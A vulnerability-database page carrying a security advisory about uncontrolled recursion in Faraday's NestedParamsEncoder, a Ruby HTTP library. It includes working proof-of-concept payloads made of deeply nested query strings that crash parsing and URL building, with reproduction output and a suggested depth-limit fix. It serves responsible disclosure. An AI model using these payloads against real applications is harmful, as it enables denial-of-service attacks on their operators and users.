VDB
EN
HIGH 7.5

GHSA-98m9-hrrm-r99r

Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters

상세

# Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

## Summary

`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

```text a[x][x][x][x]...[x]=1 ```

causes Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

## Affected Product

- Product: Faraday - Repository: https://github.com/lostisland/faraday - Tested version: `v2.14.2-2-g59334e0` - Tested commit: `59334e0e9b19` - Ruby version: `ruby 3.2.3` - Tested component: `Faraday::NestedParamsEncoder` / `Faraday::Utils.parse_nested_query` - Date tested: `2026-05-24`

## Vulnerability Type

- Denial of Service - Uncontrolled Recursion - Stack Exhaustion

## Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

1. Direct use of the public utility:

```ruby Faraday::Utils.parse_nested_query(untrusted_query_string) ```

2. Normal Faraday request URL building:

```ruby conn = Faraday.new('https://api.example.com') conn.build_url("/search?#{untrusted_query_string}") ```

In the second case, the crash occurs during URL construction before any network request is sent.

## Impact

A relatively small query string can trigger a `SystemStackError` and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

```text depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" ```

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

## Technical Details

Faraday supports nested query parameters such as:

```text user[name]=alice&user[roles][]=admin ```

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

```text a[x][x][x][x][x][x]...[x]=1 ```

This creates a deeply nested structure similar to:

```ruby { "a" => { "x" => { "x" => { "x" => { "x" => ... } } } } } ```

The recursive `dehash` routine then walks the structure without a maximum depth check.

Affected file:

```text lib/faraday/encoders/nested_params_encoder.rb ```

Relevant logic:

```ruby def dehash(hash, depth) hash.each do |key, value| hash[key] = dehash(value, depth + 1) if value.is_a?(Hash) end # ... end ```

Although the function accepts a `depth` argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

## Proof of Concept

### PoC 1: Direct parser crash

```ruby require 'faraday'

payload = "a#{'[x]' * 3119}=1" Faraday::Utils.parse_nested_query(payload) ```

Observed result:

```text SystemStackError: stack level too deep ```

### PoC 2: Normal URL-building crash

```ruby require 'faraday'

conn = Faraday.new('https://api.example.com') payload = "/search?a#{'[x]' * 3500}=1" conn.build_url(payload) ```

Observed result:

```text SystemStackError ```

No network request is required; the crash occurs during URL construction.

## Local Reproduction Results

The issue was reproduced locally against Faraday commit `59334e0e9b19`.

Environment:

```text ruby 3.2.3 faraday v2.14.2-2-g59334e0 commit 59334e0e9b19 ```

### Full PoC result

```text == (A) DEEP nesting -> dehash recursion / stack exhaustion == depth=100 parse=0.0003s OK depth=1000 parse=0.0034s OK depth=5000 *** SystemStackError (stack overflow DoS): SystemStackError depth=20000 *** SystemStackError (stack overflow DoS): SystemStackError depth=100000 *** SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level == N=1000 parse=0.0093s N=10000 parse=0.1053s N=50000 parse=0.4992s N=100000 parse=1.1242s

== (C) MANY array pushes a[]&a[]&... == N=1000 parse=0.0048s N=10000 parse=0.0614s N=50000 parse=0.2915s N=100000 parse=0.5403s ```

### Minimal depth test

```text depth=100 bytes=303 result=OK depth=1000 bytes=3003 result=OK depth=2500 bytes=7503 result=OK depth=3000 bytes=9003 result=OK depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" depth=3500 bytes=10503 result=SystemStackError message="stack level too deep" depth=5000 bytes=15003 result=SystemStackError message="stack level too deep" ```

### URL-building test

```text build_url depth=100 bytes=311 result=OK build_url depth=1000 bytes=3011 result=OK build_url depth=3500 bytes=10511 result=SystemStackError build_url depth=8000 bytes=24011 result=SystemStackError ```

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

## Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

```text Faraday::Error: Exceeded the maximum allowed nested parameter depth ```

## Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

```text SystemStackError: stack level too deep ```

This exception indicates stack exhaustion and can crash the calling worker/thread.

## Suggested Fix

Add a configurable maximum nesting depth to `Faraday::NestedParamsEncoder`, similar to Rack's `param_depth_limit`.

Suggested behavior:

- Set a default maximum depth, for example `100`. - Reject keys whose subkey chain exceeds the maximum depth. - Raise a normal `Faraday::Error` or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

```ruby module Faraday module NestedParamsEncoder class << self attr_accessor :sort_params, :array_indices, :param_depth_limit end

@param_depth_limit = 100 end end ```

Then in `decode_pair`:

```ruby subkeys = key.scan(SUBKEYS_REGEX) if param_depth_limit && subkeys.length > param_depth_limit raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}" end ```

A local patch implementing this approach was tested. With the patch applied:

- The crash payloads raise a controlled `Faraday::Error` instead of `SystemStackError`. - Normal nested query parsing still works. - Existing encoder/utils tests passed in the local test set:

```text 42 examples, 0 failures ```

## Security Policy Fit

Faraday's `SECURITY.md` states that the `2.x` branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested `2.x` codebase:

```text v2.14.2-2-g59334e0 commit 59334e0e9b19 ```

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

## Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

```text NestedParamsEncoder parse_nested_query SystemStackError stack level too deep param_depth_limit nested parameter depth Uncontrolled recursion CWE-674 dehash depth parse_nested_query depth ```

I did not find a public report or fix for this specific `NestedParamsEncoder` depth-limit / `SystemStackError` denial-of-service issue.

The closest unrelated public items I found were:

- `lostisland/faraday#1107` — `Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints` - This appears unrelated to nested query parameter parsing and `Faraday::NestedParamsEncoder`. - `GHSA-33mh-2634-fwr2` / `CVE-2026-25765` - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing `param_depth_limit` or equivalent mitigation in `lib/faraday/encoders/nested_params_encoder.rb`.

## Severity

Suggested severity: **Medium**

Rationale:

- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths. - The payload is small enough to be practical, approximately 9.4 KB in the local reproduction. - No authentication or user interaction is required in affected application patterns. - The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

## Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

## Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

RubyGems / faraday
최초 영향 버전: 0 수정 버전: 2.14.3
수정 bundle update faraday

참고